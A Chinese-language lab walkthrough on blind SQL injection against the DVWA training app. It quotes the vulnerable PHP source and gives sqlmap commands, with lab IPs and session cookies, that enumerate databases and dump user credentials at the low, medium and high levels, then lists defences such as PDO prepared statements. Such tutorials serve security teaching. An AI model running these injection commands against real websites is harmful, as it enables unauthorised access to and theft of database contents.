SQL Injection (Blind)盲注
一、SQL盲注概述
在SQL注入过程中,SQL语句执行后,选择的数据不能回显到前端页面,此时需要利用一些方法进行判断或者尝试,这个过程称之为盲注。
在盲注中,攻击者根据其返回页面的不同来判断信息(可能是页面内容的不同,也可以是响 应时间不同)。一般情况下,盲注可分为两类:
基于布尔的盲注(Boolean based)
基于时间的盲注(Time based)
1.1 基于布尔的盲注
某些场合下,页面返回的结果只有两种(正常或错误)。通过构造SQL判断语句,查看页 面的返回结果(True or False)来判断哪些SQL判断条件成立,通过此来获取数据库中的 数据。
1.2 基于时间的盲注
又称延时注入,即使用具有延时功能的函数sleep、benchmark等,通过判断这些函数是否正常执行来获取数据库中的数据。
1.3 SQL盲注常用函数
if()
功能:条件判断。
语法格式:if(expr1,expr2,expr3):expr1
为true则返回expr2,expr1为false则返回 expr3。
注: 仅MySQL支持if(expr1,expr2,expr3)。
length()
功能:返回字符串的长度,以字节为单位。
语法格式:length(str)
substr()、substring()
功能:从指定的位置开始,截取字符串指定长度的子串。
语法格式:substr(str,pos)或substr(str,pos,len),substring(str,pos)或substring(str,pos,len)
参数说明
lstr:要提取子串的字符串。
lpos:提取子串的开始位置。
len:指定要提取的子串的长度
ascii()、ord()
功能:返回字符串最左边字符的ASCII码值。
语法格式:ascii(str),ord(str)
延时函数sleep()
功能:让语句延迟执行一段时间,执行成功后返回0。
语法格式:sleep(N),即延迟执行N秒。
二、SQL盲注测试
实验环境:DVWA
2.1 DVWA-LOW级别下的sql盲注
第一步:分析源码
<?php
if( isset( $_GET[ 'Submit' ] ) ) {
// Get input
$id = $_GET[ 'id' ];
$exists = false;
switch ($_DVWA['SQLI_DB']) {
case MYSQL:
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ); // Removed 'or die' to suppress mysql errors
$exists = false;
if ($result !== false) {
try {
$exists = (mysqli_num_rows( $result ) > 0);
} catch(Exception $e) {
$exists = false;
}
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
break;
case SQLITE:
global $sqlite_db_connection;
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
try {
$results = $sqlite_db_connection->query($query);
$row = $results->fetchArray();
$exists = $row !== false;
} catch(Exception $e) {
$exists = false;
}
break;
}
if ($exists) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
} else {
// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );
// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}
}
?>
由源码可以看到未对参数进行任何检查、过滤,只是回显的时候被隐藏,存在明显sql注入漏洞,返回结果只有两种,user id exiets in the database和user id is missing from the database。
第二步:获取url和cookie
启动Burpsuite,在SQL injection(Blind)中输入如下,然后查看Burpsuite中抓到的URL和Cookie。
第三步:进行sqlmap
sqlmap –u “http://192.168.1.9/dvwa/vulnerabilities/sqli_blind/?id=2&Submit=Submit#” --cookie=” PHPSESSID=c70fedb980dad8412a65b6d7; security=low” --batch
发现有两个类型的注入漏洞,一个是基于布尔的,一个是基于时间的
第四步:遍历数据库
sqlmap –u “http://192.168.1.9/dvwa/vulnerabilities/sqli_blind/?id=2&Submit=Submit#” --cookie=” PHPSESSID=c70fedb980dad8412a65b6d7; security=low” --batch --dbs
第五步:指定数据库获取表名
sqlmap -u “http://10.0.2.15/DVWA/vulnerabilities/sqli_blind/?id=1&Submit=Submit#” --cookie=“PHPSESSID=c70fedb980dad8412a65b6d7; security=low” --batch -D dvwa --tables
第六步:获取表里属性的信息
sqlmap -u “http://10.0.2.15/DVWA/vulnerabilities/sqli_blind/?id=1&Submit=Submit#” --cookie=“PHPSESSID=c70fedb980dad8412a65b6d7; security=low” --batch -D dvwa -T users --columns
第七步:查看user和password的内容并解密
sqlmap -u “http://10.0.2.15/DVWA/vulnerabilities/sqli_blind/?id=1&Submit=Submit#” --cookie=“PHPSESSID=c70fedb980dad8412a65b6d7; security=low” --batch -D dvwa -T users --dump
sqlmap -u “http://10.0.2.15/DVWA/vulnerabilities/sqli_blind/?id=1&Submit=Submit#” --cookie=“PHPSESSID=c70fedb980dad8412a65b6d7; security=low” --batch -D dvwa -T users -C user,password -dump
2.2 DVWA-Medium级别下的sql盲注
第一步:分析源码
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$id = $_POST[ 'id' ];
$exists = false;
switch ($_DVWA['SQLI_DB']) {
case MYSQL:
$id = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ); // Removed 'or die' to suppress mysql errors
$exists = false;
if ($result !== false) {
try {
$exists = (mysqli_num_rows( $result ) > 0); // The '@' character suppresses errors
} catch(Exception $e) {
$exists = false;
}
}
break;
case SQLITE:
global $sqlite_db_connection;
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
try {
$results = $sqlite_db_connection->query($query);
$row = $results->fetchArray();
$exists = $row !== false;
} catch(Exception $e) {
$exists = false;
}
break;
}
if ($exists) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
} else {
// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}
}
?>
只能进行选择,所以使用BurpSuite进行拦截,在数据包中修改id值,然后在Response中的Render下查看结果。
第二步:获取url和cookie
Cookie: PHPSESSID=c70fedb980dad8412a65b6d7; security=medium
第三步:进行sqlmap
sqlmap -u “http://10.0.2.15/DVWA/vulnerabilities/sqli_blind/#” --cookie=“PHPSESSID=c70fedb980dad8412a65b6d7; security=medium” --data=“id=1&Submit=Submit” --batch
注入类型为post,一个是基于布尔的,一个是基于时间的
第四步:遍历数据库
sqlmap -u “http://10.0.2.15/DVWA/vulnerabilities/sqli_blind/#” --cookie=“PHPSESSID=c70fedb980dad8412a65b6d7; security=medium” --data=“id=1&Submit=Submit” --batch --dbs
第五步:指定数据库获取表名
sqlmap -u “http://10.0.2.15/DVWA/vulnerabilities/sqli_blind/#” --cookie=“PHPSESSID=c70fedb980dad8412a65b6d7; security=medium” --data=“id=1&Submit=Submit” --batch -D dvwa --tables
第六步:获取表里属性的信息
sqlmap -u “http://10.0.2.15/DVWA/vulnerabilities/sqli_blind/#” --cookie=“PHPSESSID=c70fedb980dad8412a65b6d7; security=medium” --data=“id=1&Submit=Submit” --batch -D dvwa -T users --columns
第七步:查看user和password的内容并解密
sqlmap -u “http://10.0.2.15/DVWA/vulnerabilities/sqli_blind/#” --cookie=“PHPSESSID=c70fedb980dad8412a65b6d7; security=medium” --data=“id=1&Submit=Submit” --batch -D dvwa -T users -C user,password -dump
sqlmap -u “http://10.0.2.15/DVWA/vulnerabilities/sqli_blind/#” --cookie=“PHPSESSID=c70fedb980dad8412a65b6d7; security=medium” --data=“id=1&Submit=Submit” --batch -D dvwa -T users --dump
2.3 DVWA-high级别下的sql盲注
第一步:分析源码
if( isset( $_COOKIE[ 'id' ] ) ) {
// Get input
$id = $_COOKIE[ 'id' ];
$exists = false;
switch ($_DVWA['SQLI_DB']) {
case MYSQL:
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ); // Removed 'or die' to suppress mysql errors
$exists = false;
if ($result !== false) {
// Get results
try {
$exists = (mysqli_num_rows( $result ) > 0); // The '@' character suppresses errors
} catch(Exception $e) {
$exists = false;
}
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
break;
case SQLITE:
global $sqlite_db_connection;
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
try {
$results = $sqlite_db_connection->query($query);
$row = $results->fetchArray();
$exists = $row !== false;
} catch(Exception $e) {
$exists = false;
}
break;
}
if ($exists) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
}
else {
// Might sleep a random amount
if( rand( 0, 5 ) == 3 ) {
sleep( rand( 2, 4 ) );
}
// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );
// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}
}
?>
限制了输出行数为一行,而且失败时 当他随机生成的数等于3就会随机休眠2-4秒,目的是干扰基于时间的盲注
第二步:获取url和cookie
第三步:进行sqlmap
–second-order 当web程序输入与返回不在一处界面时,使用此参数监控另一处页面
构造函数:
sqlmap -u “http://10.0.2.15/DVWA/vulnerabilities/sqli_blind/” --cookie=“id=1; PHPSESSID=c70fedb980dad8412a65b6d7; security=high” --data=“id=1&Submit=Submit” --batch
第四步:遍历数据库
sqlmap -u “http://10.0.2.15/DVWA/vulnerabilities/sqli_blind/” --cookie=“id=1; PHPSESSID=c70fedb980dad8412a65b6d7; security=high” --data=“id=1&Submit=Submit” --batch --dbs
第五步:指定数据库获取表名
sqlmap -u “http://10.0.2.15/DVWA/vulnerabilities/sqli_blind/” --cookie=“id=1; PHPSESSID=c70fedb980dad8412a65b6d7; security=high” --data=“id=1&Submit=Submit” --batch -D dvwa --tables
第六步:获取表里属性的信息
sqlmap -u “http://10.0.2.15/DVWA/vulnerabilities/sqli_blind/” --cookie=“id=1; PHPSESSID=c70fedb980dad8412a65b6d7; security=high” --data=“id=1&Submit=Submit” --batch -D dvwa -T users --columns
第七步:查看user和password的内容并解密
做到这里我发现从一开始就错了,一个非常低级简单的简单的错误:我的url选错了,而且high等级有两个窗口,请求窗口和响应窗口,查询数据提交的页面、查询结果显示的页面是分离成了2个不同的窗口分别控制的。即在查询提交窗口提交数据(POST请求)之后,需要到另外一个窗口进行查看结果(GET请求)。
我们还需要引入一个知识点–second-order(二阶sql注入)
构造函数:
sqlmap -u “http://10.0.2.15/DVWA/vulnerabilities/sqli_blind/cookie-input.php” --data=“id=1&Submit=Submit” --second-url “http://10.0.2.15/DVWA/vulnerabilities/sqli_blind/” --cookie=“id=1; PHPSESSID=c70fedb980dad8412a65b6d7; security=high” --batch
第四步:遍历数据库
sqlmap -u “http://10.0.2.15/DVWA/vulnerabilities/sqli_blind/cookie-input.php” --data=“id=1&Submit=Submit” --second-url “http://10.0.2.15/DVWA/vulnerabilities/sqli_blind/” --cookie=“id=1; PHPSESSID=c70fedb980dad8412a65b6d7; security=high” --batch --dbs
第五步:指定数据库获取表名
sqlmap -u “http://10.0.2.15/DVWA/vulnerabilities/sqli_blind/cookie-input.php” --data=“id=1&Submit=Submit” --second-url “http://10.0.2.15/DVWA/vulnerabilities/sqli_blind/” --cookie=“id=1; PHPSESSID=c70fedb980dad8412a65b6d7; security=high” --batch -D dvwa --tables
第六步:获取表里属性的信息
sqlmap -u “http://10.0.2.15/DVWA/vulnerabilities/sqli_blind/cookie-input.php” --data=“id=1&Submit=Submit” --second-url “http://10.0.2.15/DVWA/vulnerabilities/sqli_blind/” --cookie=“id=1; PHPSESSID=c70fedb980dad8412a65b6d7; security=high” --batch -D dvwa -T users --columns
第七步:查看user和password的内容并解密
sqlmap -u “http://10.0.2.15/DVWA/vulnerabilities/sqli_blind/cookie-input.php” --data=“id=1&Submit=Submit” --second-url “http://10.0.2.15/DVWA/vulnerabilities/sqli_blind/” --cookie=“id=1; PHPSESSID=c70fedb980dad8412a65b6d7; security=high” --batch -D dvwa -T users -C user,password --dump
到这里就注入成功了!
2.4 DVWA-Impossible级别下的sql盲注
impossible.php代码采用了PDO技术,划清了代码与数据的界限,有效防御SQL注入
只有当返回的查询结果数量为一个记录时,才会成功输出,这样就有效预防了暴库
利用is_numeric($id)函数来判断输入的id是否是数字or数字字符串,满足条件才知晓query查询语句
Anti-CSRF token机制的加入了进一步提高了安全性,session_token是随机生成的动态值,每次向服务器请求,客户端都会携带最新从服务端已下发的session_token值向服务器请求作匹配验证,相互匹配才会验证通过
三、sql盲注的防御
与sql注入的防御方法一样,这里再写一遍
1.使用安全的API(应用程序编程接口)
2.过滤危险字符,例如采用正则表达式匹配union、sleep等关键字,如果匹配到,则退出程序。
3.对输入的特殊字符进行Escape转义处理
4.使用白名单来规范用户的输入,对客户端进行控制,不允许输入SQL注入相关的特殊字符
5.服务器端在提交数据之前进行SQL语句查询,对特殊字符进行过滤、转义、替换和删除等操作
6.使用PDO预编译语句,PDO技术就是将查询查询的语句和输入的参数分开,先将需要查询的语句进行预编译,然后再将参数传入进去,注意,不要将变量直接拼接到PDO语句中,而是使用占位符进行数据库的增删改查。(PDO预编译是防御SQL注入最好的方法)
版权归原作者 橘子~ 所有, 如有侵权,请联系我们删除。